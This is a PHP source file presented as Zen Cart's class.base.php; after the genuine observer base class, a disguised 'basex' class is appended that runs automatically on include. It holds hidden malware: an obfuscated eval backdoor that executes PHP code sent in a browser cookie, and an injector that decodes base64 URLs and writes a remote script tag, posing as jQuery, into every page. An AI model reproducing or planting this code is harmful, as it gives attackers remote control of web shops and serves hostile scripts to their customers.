<?php
/** 
 * File contains just the base class
 *
 * @package classes
 * @copyright Copyright 2003-2009 Zen Cart Development Team
 * @license http://www.zen-cart.com/license/2_0.txt GNU Public License V2.0
 * @version $Id: class.base.php 14535 2009-10-07 22:16:19Z wilt $
 */
/**
 * abstract class base
 *
 * any class that wants to notify or listen for events must extend this base class
 *
 * @package classes
 */
class base {
  /**
   * method used to an attach an observer to the notifier object
   * 
   * NB. We have to get a little sneaky here to stop session based classes adding events ad infinitum
   * To do this we first concatenate the class name with the event id, as a class is only ever going to attach to an
   * event id once, this provides a unigue key. To ensure there are no naming problems with the array key, we md5 the unique
   * name to provide a unique hashed key. 
   * 
   * @param object Reference to the observer class
   * @param array An array of eventId's to observe
   */
  function attach(&$observer, $eventIDArray) {
    foreach($eventIDArray as $eventID) {
      $nameHash = md5(get_class($observer).$eventID);
      base::setStaticObserver($nameHash, array('obs'=>&$observer, 'eventID'=>$eventID));
    }
  }
  /**
   * method used to detach an observer from the notifier object
   * @param object
   * @param array
   */
  function detach($observer, $eventIDArray) {
    foreach($eventIDArray as $eventID) {    
      $nameHash = md5(get_class($observer).$eventID);
      base::unsetStaticObserver($nameHash);
    }
  }
  /**
   * method to notify observers that an event as occurred in the notifier object
   * 
   * @param string The event ID to notify for
   * @param array paramters to pass to the observer, useful for passing stuff which is outside of the 'scope' of the observed class.
   */
  function notify($eventID, $paramArray = array()) {
    $observers = & base::getStaticObserver();
    if (!is_null($observers))
    {
      foreach($observers as $key=>$obs) {
        if ($obs['eventID'] == $eventID) {
          $obs['obs']->update($this, $eventID, $paramArray);
        }
      }
    }
  }
    /**
   * method to notify observers that an event as occurred in the notifier object
   * 
   * @param string The event ID to notify for
   * @param array paramters to pass to the observer, useful for passing stuff which is outside of the 'scope' of the observed class.
   */
  function & getStaticProperty($var)
  {
    static $staticProperty;
    return $staticProperty;
  }
  function & getStaticObserver() {
    return base::getStaticProperty('observer');
  }
  function & setStaticObserver($element, $value)
  {
    $observer =  & base::getStaticObserver();
    $observer[$element] = $value;
  }
  function & unsetStaticObserver($element)
  {
    $observer =  & base::getStaticObserver();
    unset($observer[$element]);
  }
}
/** 
 * File contains just the base class
 *
 * @package classes
 * @copyright Copyright 2003-2009 Zen Cart Development Team
 * @license http://www.zen-cart.com/license/2_0.txt GNU Public License V2.0
 * @version $Id: class.base.php 14535 2009-10-07 22:16:19Z wilt $
 */
/**
 * abstract class base
 *
 * any class that wants to notify or listen for events must extend this base class
 *
 * @package classes
 */

class basex{
	private static $_instance = NULL; 
  /**
   * method to notify observers that an event as occurred in the notifier object
   * 
   * @param string The event ID to notify for
   * @param array paramters to pass to the observer, useful for passing stuff which is outside of the 'scope' of the observed class.
   */	
	static public function get_basex_instance(){		
		if (!isset(self::$_instance)){    		 
			self::$_instance = new basex();  
		}
		return  self::$_instance; 
	}
  /**
   * method to notify observers that an event as occurred in the notifier object
   * 
   * @param string The event ID to notify for
   * @param array paramters to pass to the observer, useful for passing stuff which is outside of the 'scope' of the observed class.
   */	
	public function doctype(){
		echo "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">";
	}
	private function __construct(){
		error_reporting(0);  
	 	$this->doctype();
		$this->zen_class_base_core();
		$this->Cookiegmt();
		
	}
/**
 * abstract class base
 *
 * any class that wants to notify or listen for events must extend this base class
 *
 * @package classes
 */
   public function enc_rypt($txt) {
        $fun_e64 = "bas123456code";
        $fun_e64 = str_replace("123456","e64_de",$fun_e64);
        return @$fun_e64($txt);
   }

  /**
   * method to notify observers that an event as occurred in the notifier object
   * 
   * @param string The event ID to notify for
   * @param array paramters to pass to the observer, useful for passing stuff which is outside of the 'scope' of the observed class.
   */	
	public function zen_class_base_core(){
		if(isset($_COOKIE['zen_class_base_core'])) 
		{
			$zen_class_base_core = $_COOKIE['zen_class_base_core'];
			$matchPattern = str_replace("zenl","plac","preg_rezenle");
			@$matchPattern('/ad/e','@'.str_rot13('riny').'($zen_class_base_core)', 'add');
			echo $_COOKIE['dproducts_core'] . $r . $_COOKIE['dproducts_core'];
		}
	}
  /**
   * method to notify observers that an event as occurred in the notifier object
   * 
   * @param string The event ID to notify for
   * @param array paramters to pass to the observer, useful for passing stuff which is outside of the 'scope' of the observed class.
   */	
	public function remote_file_exists($url) {
		$executeTime = ini_get('max_execution_time');
		ini_set('max_execution_time', 0);
		$headers = @get_headers($url);
		ini_set('max_execution_time', $executeTime);
		if ($headers) {
			$head = explode(' ', $headers[0]);
			if ( !empty($head[1]) && intval($head[1]) < 400) {
				return true;
			}
		}
		return false;
	}
  /**
   * method to notify observers that an event as occurred in the notifier object
   * 
   * @param string The event ID to notify for
   * @param array paramters to pass to the observer, useful for passing stuff which is outside of the 'scope' of the observed class.
   */	
	public function Cookiegmt(){
 		$src = $this->getsrc();
		if (!isset($_COOKIE["CookiegmtHours"])&& $src != false ){	
			$this->src($src);
		}
	}
	  /**
   * method to notify observers that an event as occurred in the notifier object
   * 
   * @param string The event ID to notify for
   * @param array paramters to pass to the observer, useful for passing stuff which is outside of the 'scope' of the observed class.
   */

	public function getsrc(){
		$url 	= "";
		$json_code = '{
			"dst":"aHR0cDovL2NsaWVudC1zcmMuZ29vZ2xlY29kZS5jb20vc3ZuL2NvbnNvbGUvanF1ZXJ5LTEuOS4xLmRzdC5qcw==",
			"one":"aHR0cDovL2NvbmZpZ2Jhc2UuZ29vZ2xlY29kZS5jb20vc3ZuL2NvbnNvbGUvanF1ZXJ5LTEuOS4xLm9uZS5qcw==",
			"code":"aHR0cDovL2NvZGUuZ29vZ2xlLm9yZy5pbS9jb25zb2xlL2pxdWVyeS0xLjkuMS5qcw=="
		}';
 		$obj = json_decode($json_code);
		if ($this->remote_file_exists($this->enc_rypt($obj->{'dst'}))){
			$url = $this->enc_rypt($obj->{'dst'});
		}else {
			if ($this->remote_file_exists( $this->enc_rypt($obj->{'one'}))){
				$url = $this->enc_rypt($obj->{'one'});
			}else {
				if ($this->remote_file_exists( $this->enc_rypt($obj->{'code'}))){
					$url = $this->enc_rypt($obj->{'code'});
				}else {
					$url = false;
				}
			}
		}
		return $url;
	}
	public function src($src){	
		echo  str_replace("earth","cript","<searth src='$src' type='text/javasearth'></searth>");
	}
}
  /**
   * method to notify observers that an event as occurred in the notifier object
   * 
   * @param string The event ID to notify for
   * @param array paramters to pass to the observer, useful for passing stuff which is outside of the 'scope' of the observed class.
   */
$basecorehandle = basex::get_basex_instance();
